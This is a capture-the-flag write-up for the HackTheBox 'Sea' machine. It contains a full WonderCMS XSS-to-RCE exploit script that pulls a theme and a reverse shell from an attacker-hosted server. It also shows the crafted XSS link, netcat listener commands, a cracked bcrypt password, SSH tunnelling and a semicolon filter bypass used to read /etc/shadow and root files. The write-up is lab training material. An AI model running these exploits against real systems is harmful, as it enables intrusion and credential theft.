Metadata

  • Platform: HackTheBox
  • CTF: Sea
  • Difficulty: Easy

Summary

On this machine, we encounter a SSRF over a contact field, in combinations with an exploit for the utilized CMS, which leverages a XSS vulnerability. In combination, we gain a reverse shell. To get to the user account, we crack a hash in a JavaScript file.

Afterward, we encounter a locally run webpage analyzing log files for malicious patterns. Since this tool runs with root access, we can trick the filter and read any file on the system.

Solution

Reconnaissance

A scan with Nmap returns two services:

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
|   256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_  256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Sea - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)

However, both services don’t have any available CVEs. We therefore enumerate the HTTP Server.

When we visit the website we see links to the domain sea.htb, which we add to our host file. The website itself does not offer any functionality apart from the contact page on http://sea.htb/contact.php.

Gobuster returns some more interesting directories for this domain. It identifies http://sea.htb/themes/bike/. Running Gobuster for this directory returns some files:

/img                  (Status: 301) [Size: 239] [--> http://sea.htb/themes/bike/img/]
/home                 (Status: 200) [Size: 3650]
/version              (Status: 200) [Size: 6]
/css                  (Status: 301) [Size: 239] [--> http://sea.htb/themes/bike/css/]
/summary              (Status: 200) [Size: 66]
/404                  (Status: 200) [Size: 3341]
/LICENSE              (Status: 200) [Size: 1067]

The version file contains 3.2.0, and LICENSE discloses that this theme was made by turboblack. After some google searches, this theme seems to be made for WonderCMS, which is therefore likely running on this machine.

User Flag

The contact page has a registration form, which contains a website field. Let’s see what happens with the input in that field.

We start an HTTP server on port 80 and check for possible connections.

The website actually connects to the specified URL, which means we have an angle for a server-side request forgery (SSRF):

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.28 - - [28/Aug/2024 19:02:28] "GET /test.txt HTTP/1.1" 200 -

In addition to this, there is a public exploit for the CMS and version used on this website: GitHub - prodigiousMind/CVE-2023-41425: WonderCMS Authenticated RCE - CVE-2023-41425 This exploit allows adding a custom theme via reflected XXS, which can contain a reverse shell. However, this exploit requires the application to visit a specified link. This works for us, since we found the SSRF.

Since the exploit downloads a theme from GitHub, which conflicts with the missing internet connection of the machine, we need to host the theme ourselves and customize the exploit.

# Exploit: WonderCMS XSS to RCE
import sys
import requests
import os
import bs4
if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
  data = '''
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = whateverURL+"/?installModule=http://10.10.14.204:8000/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // visit rev.php inside the uploaded ZIP file
   xhr4.open("GET", whateverURL+"/themes/exploit/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "'''+str(sys.argv[2])+'''";
       var port = "'''+str(sys.argv[3])+'''";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // trigger reverse shell script and provide listner ip & port
       xhr5.open("GET", whateverURL+"/themes/exploit/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
}; 
'''   
  try:    
    open("xss.js","w").write(data)
    print("[+] xss.js is created")
    print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
    print("----------------------------\n")
    XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
    XSSlink = XSSlink.strip(" ")
    print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
    print("----------------------------\n")
    print("\nstarting HTTP server to allow the access to xss.js")
    os.system("python3 -m http.server\n")
  except: print(data,"\n","//write this to a file")

Let’s run this exploit:

exploit.py http://sea.htb/loginURL 10.10.14.204 1234

Which generates this link for us to trigger with the SSRF:

http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.204:8000/xss.js"></script><form+action="

We can see the incoming request of the XSS script, as well as the hosted theme

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.28 - - [28/Aug/2024 19:24:59] "GET /xss.js HTTP/1.1" 200 -
10.10.11.28 - - [28/Aug/2024 19:25:07] "GET /main.zip HTTP/1.1" 200 -
10.10.11.28 - - [28/Aug/2024 19:25:07] "GET /main.zip HTTP/1.1" 200 -
10.10.11.28 - - [28/Aug/2024 19:25:07] "GET /main.zip HTTP/1.1" 200 -
10.10.11.28 - - [28/Aug/2024 19:25:07] "GET /main.zip HTTP/1.1" 200 -
 

After opening up a port via Netcat nc -lvnp 1234, we invoke the shell by hitting the URL http://sea.htb/themes/exploit/rev.php?lhost=10.10.14.204&lport=1234, which the exploit specifies. We get a shell as www-data.

In the web server directory, we find the folder data, which contains databse.js. In this file we find the password hash $2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q.

After saving the hash to a file, and calling Hashcat, it detects the hash as bcrypt $2*$, Blowfish (Unix). To crack it, we call Hashcat with mode 3200:

hashcat -m 3200 hash.txt rockyou.txt

It returns $2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance, with which we gain access to the user amay and the user flag.

Root Flag

The account does not have any system privileges to abuse, such as SUIDs or sudo access over any commands. However, Netstat reveals connections to a local service on port 8080:

netstat -tunp
 
Proto Recv-Q Send-Q Local Address           Foreign Address         State                       
tcp        0      0 127.0.0.1:8080          127.0.0.1:41246         TIME_WAIT

Since we can’t access this website in the shell with a GUI, we need to tunnel the port to our host. amay has SSH access with which this is possible.

ssh -L 8081:localhost:8080 amay@sea.htb

This site prompts a username and password input, but amay’s credentials suffice. The web page contains a service for monitoring the system and analyzing log files.

After intercepting the request made by the analyze button, we can change the specified log file. So why not try to read a file, for which we don’t have permissions, such as /etc/shadow. Surprisingly, we can read the file, meaning we have unrestricted file read access, as long as the service’s filter finds any pattern, which would be suspicious in a log file. After trial and error, entering the file as /root/root.txt; (adding a semicolon), tricking the filter and allowing the root flag’s retrieval.